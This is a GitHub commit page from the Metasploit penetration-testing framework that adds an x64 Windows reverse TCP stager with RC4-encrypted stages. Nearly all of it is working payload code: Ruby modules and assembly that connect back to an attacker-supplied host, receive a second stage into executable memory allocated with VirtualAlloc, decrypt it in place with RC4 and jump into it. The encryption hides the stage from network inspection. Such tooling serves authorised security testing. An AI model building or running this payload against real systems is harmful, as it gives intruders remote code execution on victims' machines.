-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
- Loading branch information
Showing
4 changed files
with
331 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,97 @@ | ||
# -*- coding: binary -*- | ||
|
||
require 'msf/core' | ||
|
||
module Msf | ||
|
||
### | ||
# | ||
# RC4 decryption stub for Windows ARCH_X64 payloads | ||
# | ||
### | ||
module Payload::Windows::Rc4_x64 | ||
# | ||
# Register rc4 specific options | ||
# | ||
def initialize(*args) | ||
super | ||
register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class) | ||
end | ||
|
||
# | ||
# Generate assembly code that decrypts RC4 shellcode in-place | ||
# | ||
|
||
def asm_decrypt_rc4 | ||
%! | ||
;-----------------------------------------------------------------------------; | ||
; Author: max3raza | ||
; Version: 1.0 (12 January 2018) | ||
;-----------------------------------------------------------------------------; | ||
; Input: R9 - Data to decode | ||
; RCX - Data length | ||
; RSI - Key (16 bytes for simplicity and smaller code) | ||
; RDI - pointer to 0x100 bytes scratch space for S-box | ||
; Direction flag has to be cleared | ||
; Output: None. Data is decoded in place. | ||
; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used) | ||
; Initialize S-box | ||
xor rax, rax ; Start with 0 | ||
mov r8, rdi ; Save pointer to S-box | ||
init: | ||
stosb ; Store next S-Box byte S[i] = i | ||
inc al ; increase byte to write (RDI is increased automatically) | ||
jnz init ; loop until we wrap around | ||
; permute S-box according to key | ||
xor rbx, rbx ; Clear RBX (RAX is already cleared) | ||
permute: | ||
add bl, [r8+rax] ; BL += S[AL] + KEY[AL % 16] | ||
mov rdx, rax | ||
and dl, 0xF | ||
add bl, [rsi+rdx] | ||
mov dl, [r8+rax] ; swap S[AL] and S[BL] | ||
xchg dl, [r8+rbx] | ||
mov [r8+rax], dl | ||
inc al ; AL += 1 until we wrap around | ||
jnz permute | ||
; decryption loop | ||
xor rbx, rbx ; Clear RBX (RAX is already cleared) | ||
decrypt: | ||
inc al ; AL += 1 | ||
add bl, [r8+rax] ; BL += S[AL] | ||
mov dl, [r8+rax] ; swap S[AL] and S[BL] | ||
xchg dl, [r8+rbx] | ||
mov [r8+rax], dl | ||
add dl, [r8+rbx] ; DL = S[AL]+S[BL] | ||
mov dl, [r8+rdx] ; DL = S[DL] | ||
xor [r9], dl ; [R9] ^= DL | ||
inc r9 ; advance data pointer | ||
dec rcx ; reduce counter | ||
jnz decrypt ; until finished | ||
! | ||
end | ||
|
||
def generate_stage(opts = {}) | ||
p = super(opts) | ||
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) | ||
c1 = OpenSSL::Cipher.new('RC4') | ||
c1.decrypt | ||
c1.key = rc4key | ||
p = c1.update(p) | ||
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p | ||
end | ||
|
||
def handle_intermediate_stage(_conn, _payload) | ||
false | ||
end | ||
|
||
private | ||
|
||
def rc4_keys(rc4pass = '') | ||
m = OpenSSL::Digest.new('sha1') | ||
m.reset | ||
key = m.digest(rc4pass) | ||
[key[0, 4], key[4, 16]] | ||
end | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
# -*- coding: binary -*- | ||
|
||
require 'msf/core' | ||
require 'msf/core/payload/windows/x64/reverse_tcp' | ||
require 'msf/core/payload/windows/x64/rc4' | ||
|
||
module Msf | ||
|
||
### | ||
# | ||
# Complex reverse_tcp payload generation for Windows ARCH_X64 | ||
# | ||
### | ||
|
||
module Payload::Windows::ReverseTcpRc4_x64 | ||
|
||
include Msf::Payload::Windows::ReverseTcp_x64 | ||
include Msf::Payload::Windows::Rc4_x64 | ||
|
||
# | ||
# Generate the first stage | ||
# | ||
def generate | ||
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD']) | ||
conf = { | ||
port: datastore['LPORT'], | ||
host: datastore['LHOST'], | ||
retry_count: datastore['ReverseConnectRetries'], | ||
xorkey: xorkey, | ||
rc4key: rc4key, | ||
reliable: false | ||
} | ||
|
||
# Generate the advanced stager if we have space | ||
if self.available_space && required_space <= self.available_space | ||
conf[:exitfunk] = datastore['EXITFUNC'] | ||
conf[:reliable] = true | ||
end | ||
|
||
generate_reverse_tcp_rc4(conf) | ||
end | ||
|
||
# | ||
# By default, we don't want to send the UUID, but we'll send | ||
# for certain payloads if requested. | ||
# | ||
def include_send_uuid | ||
false | ||
end | ||
|
||
# | ||
# Generate and compile the stager | ||
# | ||
def generate_reverse_tcp_rc4(opts={}) | ||
combined_asm = %Q^ | ||
cld ; Clear the direction flag. | ||
and rsp, ~0xF ; Ensure RSP is 16 byte aligned | ||
call start ; Call start, this pushes the address of 'api_call' onto the stack. | ||
#{asm_block_api} | ||
start: | ||
pop rbp ; block API pointer | ||
#{asm_reverse_tcp(opts)} | ||
#{asm_block_recv_rc4(opts)} | ||
^ | ||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string | ||
end | ||
|
||
def asm_block_recv_rc4(opts={}) | ||
xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp | ||
reliable = opts[:reliable] | ||
asm = %Q^ | ||
recv: | ||
; Receive the size of the incoming second stage... | ||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the | ||
; second stage length | ||
mov rdx, rsp ; set pointer to this buffer | ||
xor r9, r9 ; flags | ||
push 4 ; | ||
pop r8 ; length = sizeof( DWORD ); | ||
mov rcx, rdi ; the saved socket | ||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} | ||
call rbp ; recv( s, &dwLength, 4, 0 ); | ||
^ | ||
|
||
if reliable | ||
asm << %Q^ | ||
; reliability: check to see if the recv worked, and reconnect | ||
; if it fails | ||
cmp eax, 0 | ||
jle cleanup_socket | ||
^ | ||
end | ||
|
||
asm << %Q^ | ||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next | ||
; Alloc a RWX buffer for the second stage | ||
pop rsi ; pop off the second stage length | ||
mov esi, esi ; only use the lower-order 32 bits for the size | ||
xor esi, #{xorkey} ; XOR the stage length | ||
lea r11, [rsi+0x100] ; R11 = stage length + S-box length (alloc length) | ||
push 0x40 ; | ||
pop r9 ; PAGE_EXECUTE_READWRITE | ||
push 0x1000 ; | ||
pop r8 ; MEM_COMMIT | ||
mov rdx, rsi ; the newly recieved second stage length. | ||
xor rcx,rcx ; NULL as we dont care where the allocation is. | ||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} | ||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); | ||
; Receive the second stage and execute it... | ||
; mov rbx, rax ; rbx = our new memory address for the new stage | ||
lea rbx, [rax+0x100] | ||
; mov r15, rax ; save the address so we can jump into it later | ||
mov r15, rbx | ||
push rbx ; save stage address | ||
push rsi ; push stage length | ||
push rax ; push the address of the S-box | ||
read_more: ; | ||
xor r9, r9 ; flags | ||
mov r8, rsi ; length | ||
mov rdx, rbx ; the current address into our second stages RWX buffer | ||
mov rcx, rdi ; the saved socket | ||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} | ||
call rbp ; recv( s, buffer, length, 0 ); | ||
add rsp, 32 ; restore stack after api_call | ||
^ | ||
|
||
if reliable | ||
asm << %Q^ | ||
; reliability: check to see if the recv worked, and reconnect | ||
; if it fails | ||
cmp eax, 0 | ||
jge read_successful | ||
; something failed so free up memory | ||
pop rax | ||
push r15 | ||
pop rcx ; lpAddress | ||
push 0x4000 ; MEM_COMMIT | ||
pop r8 ; dwFreeType | ||
push 0 ; 0 | ||
pop rdx ; dwSize | ||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} | ||
call rbp ; VirtualFree(payload, 0, MEM_COMMIT) | ||
cleanup_socket: | ||
; clean up the socket | ||
push rdi ; socket handle | ||
pop rcx ; s (closesocket parameter) | ||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} | ||
call rbp | ||
; and try again | ||
dec r14 ; decrement the retry count | ||
jmp create_socket | ||
^ | ||
end | ||
|
||
asm << %Q^ | ||
read_successful: | ||
add rbx, rax ; buffer += bytes_received | ||
sub rsi, rax ; length -= bytes_received | ||
; test rsi, rsi ; test length | ||
jnz read_more ; continue if we have more to read | ||
mov r14, rdi ; save socket handle | ||
pop rdi ; address of S-box | ||
pop rcx ; stage length | ||
pop r9 ; address of stage | ||
push r14 ; save socket | ||
call after_key ; Call after_key, this pushes the address of the key onto the stack. | ||
db #{raw_to_db(opts[:rc4key])} | ||
after_key: | ||
pop rsi ; rsi = RC4 key | ||
#{asm_decrypt_rc4} | ||
pop rdi ; restrore socket handle | ||
jmp r15 ; return into the second stage | ||
^ | ||
|
||
if opts[:exitfunk] | ||
asm << asm_exitfunk(opts) | ||
end | ||
|
||
asm | ||
end | ||
|
||
end | ||
|
||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# -*- coding: binary -*- | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core/handler/reverse_tcp' | ||
require 'msf/core/payload/windows/x64/reverse_tcp_rc4' | ||
|
||
|
||
module MetasploitModule | ||
|
||
CachedSize = 398 | ||
|
||
include Msf::Payload::Stager | ||
include Msf::Payload::Windows::ReverseTcpRc4_x64 | ||
|
||
def self.handler_type_alias | ||
"reverse_tcp_rc4" | ||
end | ||
|
||
def initialize(info = {}) | ||
super(merge_info(info, | ||
'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)', | ||
'Description' => 'Connect back to the attacker', | ||
'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'], | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'win', | ||
'Arch' => ARCH_X64, | ||
'Handler' => Msf::Handler::ReverseTcp, | ||
'Convention' => 'sockrdi', | ||
'Stager' => { 'RequiresMidstager' => false } | ||
)) | ||
end | ||
end |